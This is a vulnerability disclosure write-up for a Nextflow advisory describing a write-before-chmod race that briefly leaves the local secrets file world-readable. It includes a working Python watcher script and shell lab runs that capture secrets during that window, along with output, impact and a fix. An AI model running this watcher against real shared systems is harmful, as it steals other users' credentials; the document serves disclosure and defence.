TL;DR
I reported GHSA-4cmm-q94h-8g5j in Nextflow.
This was a local credential disclosure vulnerability caused by a write-before-chmod race condition in the local secrets provider.
Nextflow writes the secrets JSON file to disk before applying owner-only permissions. On systems with a permissive umask such as 022, the file is briefly created as world-readable (0644) and only afterward changed to 0600.
On shared local, HPC, or CI filesystems, another local user who can traverse the $NXF_HOME or NXF_SECRETS_FILE parent directory can race-read newly stored secrets during that window.
The bug
The affected code lives in the local secrets provider module:
modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovyThe flow looked like this:
makeStoreFile()-> resolves store path from NXF_SECRETS_FILE or $NXF_HOME/secrets/store.json-> parent directories created with mkdirs() using process default permissions
storeSecrets()-> serializes secrets to JSON-> Files.write(storeFile, json.getBytes('utf-8')) // file created with umask-derived permissions-> storeFile.setPermissions('rw-------') // chmod happens AFTER writeWith a common umask of 022, the write creates the file with 0644 permissions. Only after writing the secret content does Nextflow call setPermissions('rw-------') to tighten it to 0600.
That creates a race window where the file exists on disk with group/other read bits set.
The parent directories are also affected. $NXF_HOME is created with mkdir() using process default permissions, so with umask 022 the directory itself is 0755 instead of 0700.
Why it happened
The root cause is the order of operations:
- Create the file
- Write the secret content
- Fix the permissions
The correct order would be:
- Create the file with restrictive permissions
- Write the secret content
Or at minimum, apply the permissions atomically as part of file creation using POSIX APIs that support mode flags.
The relevant code paths called out in the advisory are:
modules/nextflow/src/main/groovy/nextflow/secret/LocalSecretsProvider.groovymodules/nf-commons/src/main/nextflow/Const.groovymodules/nf-commons/src/main/nextflow/extension/FilesEx.groovyFilesEx.groovy applies POSIX permissions as a separate post-creation step, which is what opens the window.
PoC
The attacker uses a watcher script that continuously checks the file’s permissions. It only captures the secret if the file has group/other read bits at the time of read.
#!/usr/bin/env python3import jsonimport statimport sysimport timefrom pathlib import Path
store = Path(sys.argv[1])token_prefix = sys.argv[2]out = Path(sys.argv[3])deadline = time.monotonic() + float(sys.argv[4])
attempts = 0saw_world_readable = 0saw_modes = {}
while time.monotonic() < deadline: attempts += 1 try: st = store.stat() except FileNotFoundError: continue
mode = stat.S_IMODE(st.st_mode) saw_modes[oct(mode)] = saw_modes.get(oct(mode), 0) + 1
if not (mode & 0o044): continue
saw_world_readable += 1
try: data = store.read_text("utf-8", errors="replace") except OSError: continue
if token_prefix in data: out.write_text(json.dumps({ "captured": True, "attempts": attempts, "mode_at_read": oct(mode), "store": str(store), "data": data, "saw_world_readable": saw_world_readable, "saw_modes": saw_modes, }, indent=2)) raise SystemExit(0)
out.write_text(json.dumps({ "captured": False, "attempts": attempts, "store": str(store), "saw_world_readable": saw_world_readable, "saw_modes": saw_modes,}, indent=2))raise SystemExit(1)PoC 1: explicit shared NXF_SECRETS_FILE
LAB=/tmp/nxf-secrets-race-labSTORE="$LAB/shared/store.json"CAPTURE="$LAB/capture.json"
rm -rf "$LAB"mkdir -p "$LAB/shared"chmod 755 "$LAB" "$LAB/shared"
python3 watch_secret_race.py "$STORE" SUPERSECRET_ "$CAPTURE" 180 &WATCH_PID=$!
umask 022NXF_HOME="$LAB/nxf-home" NXF_SECRETS_FILE="$STORE" \ ./nextflow secrets set API_TOKEN "SUPERSECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/shared" "$STORE"cat "$CAPTURE"Observed result:
755 /tmp/nxf-secrets-race-lab755 /tmp/nxf-secrets-race-lab/shared600 /tmp/nxf-secrets-race-lab/shared/store.jsonThe watcher captured the secret while the file was still 0644:
{ "captured": true, "mode_at_read": "0o644", "store": "/tmp/nxf-secrets-race-lab/shared/store.json", "data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"SUPERSECRET_1\"\n }\n]", "saw_world_readable": 18}PoC 2: default $NXF_HOME/secrets/store.json
LAB=/tmp/nxf-secrets-race-default-homeSTORE="$LAB/nxf-home/secrets/store.json"CAPTURE="$LAB/capture.json"
rm -rf "$LAB"mkdir -p "$LAB"chmod 755 "$LAB"
python3 watch_secret_race.py "$STORE" HOMESECRET_ "$CAPTURE" 180 &WATCH_PID=$!
umask 022NXF_HOME="$LAB/nxf-home" \ ./nextflow secrets set API_TOKEN "HOMESECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE"cat "$CAPTURE"Observed result:
755 /tmp/nxf-secrets-race-default-home755 /tmp/nxf-secrets-race-default-home/nxf-home755 /tmp/nxf-secrets-race-default-home/nxf-home/secrets600 /tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.jsonWatcher output:
{ "captured": true, "mode_at_read": "0o644", "store": "/tmp/nxf-secrets-race-default-home/nxf-home/secrets/store.json", "data": "[\n {\n \"name\": \"API_TOKEN\",\n \"value\": \"HOMESECRET_1\"\n }\n]", "saw_world_readable": 12}Negative control: umask 077
With a restrictive umask, the race was not exploitable because the file and parent directories were never group/other readable:
LAB=/tmp/nxf-secrets-race-umask077STORE="$LAB/nxf-home/secrets/store.json"CAPTURE="$LAB/capture.json"
rm -rf "$LAB"mkdir -p "$LAB"chmod 755 "$LAB"
python3 watch_secret_race.py "$STORE" UMASKSECRET_ "$CAPTURE" 30 &WATCH_PID=$!
umask 077NXF_HOME="$LAB/nxf-home" \ ./nextflow secrets set API_TOKEN "UMASKSECRET_1"
wait "$WATCH_PID" || true
stat -c "%a %n" "$LAB" "$LAB/nxf-home" "$LAB/nxf-home/secrets" "$STORE"cat "$CAPTURE"Observed result:
755 /tmp/nxf-secrets-race-umask077700 /tmp/nxf-secrets-race-umask077/nxf-home700 /tmp/nxf-secrets-race-umask077/nxf-home/secrets600 /tmp/nxf-secrets-race-umask077/nxf-home/secrets/store.json{ "captured": false, "saw_world_readable": 0, "saw_modes": { "0o600": 513512 }}The negative control matters because it confirms the vulnerability is specifically tied to the umask-dependent permission window, not a logic bug in the secrets store itself.
Impact
This is a local credential disclosure vulnerability.
The attacker needs:
- local or shared-filesystem access
- ability to traverse the
$NXF_HOMEorNXF_SECRETS_FILEparent directory - a victim running with a permissive umask (e.g.
022)
The attacker does not need to control the victim’s workflow code, configuration, or secret value. They only need local read access during secret creation.
Secrets stored through nextflow secrets set may include:
- API tokens for cloud providers
- Service credentials used by Nextflow workflows
- Container registry authentication tokens
- Other sensitive configuration values
On shared HPC clusters and CI environments where multiple users share a filesystem, this is a realistic attack surface. The attacker just needs a watcher process running in the background.
The fix
The fix requires creating the secrets file with restrictive permissions before writing content.
Instead of:
1. Files.write(storeFile, bytes)2. storeFile.setPermissions('rw-------')The correct approach is:
1. Create file with mode 0600 (e.g. via OpenOption or PosixFilePermissions)2. Write secret contentThis eliminates the race window entirely. The file is never world-readable at any point during its lifecycle.
Parent directories should also be created with restrictive permissions to prevent directory traversal in the first place.
Versions and details
- Advisory:
GHSA-4cmm-q94h-8g5j - Package:
nextflow-io/nextflow - CVE:
CVE-2026-73977 - Affected:
26.05.0-edge - Patched: None yet
- Severity:
Moderate - CVSS:
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N - Weakness:
CWE-367 (Time-of-Check Time-of-Use Race Condition),CWE-732 (Incorrect Permission Assignment for Critical Resource) - Credit: baradika